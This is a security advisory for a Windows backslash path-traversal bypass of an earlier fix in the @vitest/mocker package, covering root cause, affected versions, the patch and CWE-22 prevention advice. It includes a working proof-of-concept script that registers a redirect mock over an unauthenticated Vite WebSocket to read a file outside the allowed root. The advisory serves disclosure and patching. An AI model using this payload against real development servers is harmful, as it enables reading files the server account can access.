Skip to content

GHSA-xp26-3454-mjgp CVE-2026-112950

Vitest: Windows backslash traversal bypasses the @vitest/mocker redirect allowlist fix

Medium npm
Severity
5.9 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.54%
Chance of exploitation in the next 30 days. Higher than 45.57% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Fix
4.1.12
Upgrade @vitest/mocker to this version or later

Description

Summary

The path traversal fix released for GHSA-82fw-gwwq-j7x9 can be bypassed on Windows by using a backslash in the redirect URL pathname.

The fixed code joins an attacker-controlled URL pathname with the Vite root using node:path/posix, then passes that string to Vite's file allowlist check. On Windows, a value such as C:/project/root/..\secret.txt retains ..\ during the POSIX join and begins with the allowed root, so the allowlist accepts it. The later readFile() call uses Windows filesystem semantics, where the backslash is a path separator, and reads the sibling file outside the configured root.

I reproduced the issue with the published @vitest/mocker packages in both fixed release lines:

  • @vitest/mocker@4.1.11
  • @vitest/mocker@5.0.0

The current main source at commit 2ce29d5fa758046e5453bd92b8ed6c9da9709bb5 has the same behavior.

Patches

Fixed in @vitest/mocker 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. The redirect registration now converts backslashes in the URL pathname to forward slashes before it joins the pathname with the root, so ..\ resolves the same as ../ and the allowlist check rejects it.

Relationship to GHSA-82fw-gwwq-j7x9

This is a bypass of the accepted fix, not a separate unrelated path. It uses the same vitest:interceptor:register redirect registration and the same file-reading sink as the original advisory. A forward-slash traversal is rejected after the fix, while the equivalent Windows backslash traversal is accepted.

The original advisory marks 4.1.11 and 5.0.0-rc.2 as patched. The newly affected ranges introduced by the incomplete fix are therefore:

  • 4.1.11
  • >=5.0.0-rc.2, <5.0.3

Older affected releases remain covered by GHSA-82fw-gwwq-j7x9.

Root cause

packages/mocker/src/node/interceptorPlugin.ts imports join from node:path/posix. Redirect registration currently performs the equivalent of:

const redirect = join(server.config.root, redirectUrl.pathname)
if (!isFileLoadingAllowed(server.config, redirect)) return
event.redirect = redirect

The registered value later reaches:

readFile(mock.redirect, 'utf-8')

Vite's allowlist check expects a normalized absolute filesystem path. On Windows, POSIX joining does not normalize backslashes, but readFile interprets them as separators. The check and the sink therefore interpret the same string differently.

The authenticated browser RPC fallback in packages/browser/src/node/rpc.ts is not affected: it joins the path with pathe, which converts backslashes to forward slashes before the access check. The reproduction below targets the public mocker WebSocket registration path.

Preconditions and impact

A client that can reach a Vite server using the public mockerPlugin or standalone interceptorPlugin WebSocket registration can register a redirect mock. On Windows, the client can then request the registered module and read a file outside server.fs.allow that the Vitest/Vite process account can access. Vitest Browser Mode does not register these WebSocket handlers in the affected versions.

The reproduction uses an unauthenticated Vite HMR WebSocket connection and a normal HTTP GET. It does not call the plugin's internal transform API. The practical network reachability is the same deployment precondition described by the original advisory; default loopback-only development servers are correspondingly less exposed.

Reproduction

Tested on GitHub-hosted Windows Server 2025 with Node.js 22. The test creates only temporary synthetic files: a Vite root directory and a sibling secret.txt containing a canary.

Install dependencies for either affected line:

npm install @vitest/mocker@4.1.11 vite@7.1.5 ws@8.18.3
# or
npm install @vitest/mocker@5.0.0 vite@7.1.5 ws@8.18.3
node poc.mjs

poc.mjs:

import { mkdir, writeFile } from 'node:fs/promises'
import { join } from 'node:path'
import { tmpdir } from 'node:os'
import { randomUUID } from 'node:crypto'
import { interceptorPlugin } from '@vitest/mocker/node'
import { createServer } from 'vite'
import { WebSocket } from 'ws'

const base = join(tmpdir(), `vitest-path-${randomUUID()}`)
const root = join(base, 'root')
const secret = join(base, 'secret.txt')
await mkdir(root, { recursive: true })
await writeFile(secret, 'SYNTHETIC_OUTSIDE_ROOT_CANARY')

const server = await createServer({
  root,
  configFile: false,
  logLevel: 'silent',
  server: { fs: { allow: [root] } },
  plugins: [
    {
      name: 'validation:virtual-modules',
      enforce: 'pre',
      resolveId(id) {
        if (id === '/control' || id === '/bypass') return id
      },
    },
    interceptorPlugin(),
  ],
})

await server.listen()
const port = new URL(server.resolvedUrls.local[0]).port
const baseUrl = server.resolvedUrls.local[0]

function register(id, redirect) {
  return new Promise((resolve, reject) => {
    const socket = new WebSocket(`ws://localhost:${port}`, 'vite-hmr')
    const timer = setTimeout(() => reject(new Error('registration timeout')), 5000)
    socket.on('message', (raw) => {
      let message
      try { message = JSON.parse(raw.toString()) } catch { return }
      if (message.type === 'custom' && message.event === 'vitest:interceptor:register:result') {
        clearTimeout(timer)
        socket.close()
        resolve()
      }
    })
    socket.on('open', () => socket.send(JSON.stringify({
      type: 'custom',
      event: 'vitest:interceptor:register',
      data: { type: 'redirect', raw: '', id, url: id, redirect },
    })))
    socket.on('error', reject)
  })
}

try {
  await register('/control', 'traversal:../secret.txt')
  const controlResponse = await fetch(new URL('/control', baseUrl))
  const controlBody = await controlResponse.text()

  await register('/bypass', 'traversal:..\\secret.txt')
  const bypassResponse = await fetch(new URL('/bypass', baseUrl))
  const bypassBody = await bypassResponse.text()

  const result = {
    platform: process.platform,
    root,
    outsideFile: secret,
    slashTraversalStatus: controlResponse.status,
    slashTraversalRejected: !controlBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
    backslashTraversalStatus: bypassResponse.status,
    backslashTraversalReturnedOutsideCanary: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
    returnedBody: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY') ? 'SYNTHETIC_OUTSIDE_ROOT_CANARY' : null,
    expectedBackslashTraversalBlocked: process.env.EXPECT_BLOCKED === '1',
  }
  console.log(JSON.stringify(result, null, 2))
  const backslashResultMatchesExpectation = result.expectedBackslashTraversalBlocked
    ? !result.backslashTraversalReturnedOutsideCanary
    : result.backslashTraversalReturnedOutsideCanary
  if (!result.slashTraversalRejected || !backslashResultMatchesExpectation) process.exitCode = 1
} finally {
  await server.close()
}

Observed with @vitest/mocker@4.1.11:

{
  "platform": "win32",
  "slashTraversalStatus": 404,
  "slashTraversalRejected": true,
  "backslashTraversalStatus": 200,
  "backslashTraversalReturnedOutsideCanary": true,
  "returnedBody": "SYNTHETIC_OUTSIDE_ROOT_CANARY",
  "expectedBackslashTraversalBlocked": false
}

The same result was observed with @vitest/mocker@5.0.0.

This includes two useful controls:

  1. traversal:../secret.txt is rejected and returns 404, confirming the published forward-slash fix is active.
  2. traversal:..\secret.txt returns 200 and the exact outside-root canary, confirming a Windows separator bypass rather than an unrelated route or fixture response.

Affected versions

npm

PackageVulnerableFixed in
@vitest/mocker
>= 4.1.11, < 4.1.12
4.1.12
@vitest/mocker
>= 5.0.0-rc.2, < 5.0.3
5.0.3
@vitest/mocker
>= 4.1.11, < 4.1.12
4.1.12
@vitest/mocker
>= 5.0.0-rc.2, < 5.0.3
5.0.3

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

@vitest/mocker npm → 4.1.12

npm
npm install @vitest/mocker@4.1.12
yarn
yarn add @vitest/mocker@4.1.12
pnpm
pnpm add @vitest/mocker@4.1.12

Severity breakdown

CVSS 3.1 5.9

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Weakness

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

How to prevent it
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
  • Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
  • Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
  • Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-qxg6-89mg-rqv8
Vitest: Code injection via unauthenticated manual mock registration
Medium Also affects @vitest/mocker
GHSA-82fw-gwwq-j7x9
Vitest: Path Traversal / Arbitrary File Read via @vitest/mocker Redirect Mock
Medium Also affects @vitest/mocker
GHSA-hjqx-j4rw-g7xv
zip: Arbitrary file write outside the extraction directory, because ZipArchive::extract validates symlink targets lexically.
High Same weakness, CWE-22
GHSA-9jrw-8xf7-xqhq
Keycloak vulnerable to information disclosure through arbitrary filesystem path probing
Medium Same weakness, CWE-22
GHSA-4vjg-vx72-qq4g
systeminformation has path traversal in Linux networkStats() that allows symlink-based file disclosure outside /sys/class/net
Low Same weakness, CWE-22
GHSA-m65p-9j7q-6w33
MLflow vulnerable to arbitrary file read on unauthenticated servers via prompt model version source
High Same weakness, CWE-22
GHSA-g5ff-637f-6q2m
LiteLLM: internal_user_viewer arbitrary local file read via `vertex_ai_credentials`
High Same weakness, CWE-22
CVE-2026-113672
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes.
Critical Same weakness, CWE-22

Credits: jankesec

Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor